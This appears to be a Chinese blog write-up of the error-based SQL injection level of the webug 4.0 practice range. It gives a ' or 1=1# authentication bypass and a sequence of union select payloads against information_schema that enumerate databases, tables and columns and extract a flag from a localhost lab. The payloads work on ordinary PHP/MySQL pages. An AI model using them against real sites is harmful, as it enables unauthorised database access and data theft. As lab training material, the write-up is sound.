webug4.0—显错注入

所用到一些知识:

1. concat(str1,str2,...)    返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL

2. concat_ws(separator, str1, str2, ...)    含有分隔符地连接字符串,第一个参数为制定的分隔符

3. group_concat(str1,str2,...)   连接一个组的所有字符串,并以逗号分隔每一条数据

4.union 用于合并两个或多个select语句的结果集,需要注意的是union内部的select须拥有相同数量的列,且列的数据类型也要相同。

5.逻辑顺序 true and false or true    结果为true   这样可以构造万能密码 

Select * from admin where username=’admin’ and password=’’or 1=1#’

6. 注释掉后面内容时可用 --+ 或者 # 后者在浏览器中会进行url编码为%23

7.注入的一般流程为:输入点-->数据库-->数据表-->数据列-->数据项 

 

加单引号看看

http://localhost/control/sqlinject/manifest_error.php?id=1'

                    然后报错了

 

 构造语句'  or 1=1%23

http://localhost/control/sqlinject/manifest_error.php?id=1' or 1=1%23

然后页面恢复正常,利用order by判断字段个数

http://localhost/control/sqlinject/manifest_error.php?id=1' order by 1%23

 从1开始尝试,发现到3时页面报错,因此判断字段个数为2个,接下来查看数据库的名字

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(schema_name) from information_schema.schemata%23

然后页面显示出来了数据库

我们查看webug这个数据库

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23

发现有flag这个表,看看这个表里东西

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23

发现表里就2个: id flag  查看一下flag内容

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,flag from webug.flag %23

出来了:dfafdasfafdsadfa 

打开靶场提交flag,显示flag正确

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值